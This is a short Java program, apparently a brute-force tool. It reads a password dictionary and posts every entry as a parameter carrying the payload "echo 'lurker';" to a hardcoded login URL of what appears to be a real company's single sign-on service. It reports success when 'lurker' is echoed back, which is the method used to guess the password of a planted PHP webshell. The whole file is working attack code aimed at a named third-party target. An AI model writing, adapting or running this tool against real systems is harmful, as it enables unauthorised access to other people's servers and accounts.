package password_cracker;


import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.URL;
import java.net.URLConnection;
import java.util.HashSet;

public class PasswordCracker extends Thread {
    private String dic;

    public PasswordCracker(String dic) {
        this.dic = dic;
    }

    public void run() {
        try {
            // URL url = new URL("http://localhost/mmm.php");
            URL url = new URL("https://sso.cnsuning.com/ids/login?service=http%3A%2F%2Fpcp.cnsuning.com%2Fspcp-web%2Fauth%3FtargetUrl%3Dhttp%253A%252F%252Fpcp.cnsuning.com%252Fspcp-web%252Findex.htm&loginTheme=defaultTheme");
            URLConnection conn = url.openConnection();
            conn.setDoInput(true);
            conn.setDoOutput(true);

            //写入POST请求内容
            PrintWriter out = new PrintWriter(conn.getOutputStream());
            out.write(dic);
            out.flush();
            InputStreamReader isr = new InputStreamReader(conn.getInputStream());
            BufferedReader reader = new BufferedReader(isr);
            String line;

            //结果
            while ((line = reader.readLine()) != null) {
                if (line.indexOf("lurker") >= 0) {
                    System.out.println("爆破成功");
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {
        HashSet<String> filter = new HashSet<>();
        StringBuffer dic = new StringBuffer();

        //导入密码字典
        File file = new File("F:/password-dict.txt");
        FileInputStream fis = new FileInputStream(file);
        InputStreamReader isr = new InputStreamReader(fis);
        BufferedReader read = new BufferedReader(isr);
        String line;

        //利用HashSet去重复
        while ((line = read.readLine()) != null) {
            filter.add(line);
        }

        //拼凑请求字符串
        for (String s : filter) {
            dic.append("&" + s + "=echo 'lurker';");
        }

        //形成实例开始线程
        PasswordCracker crack = new PasswordCracker(dic.toString());
        crack.start();
    }
}
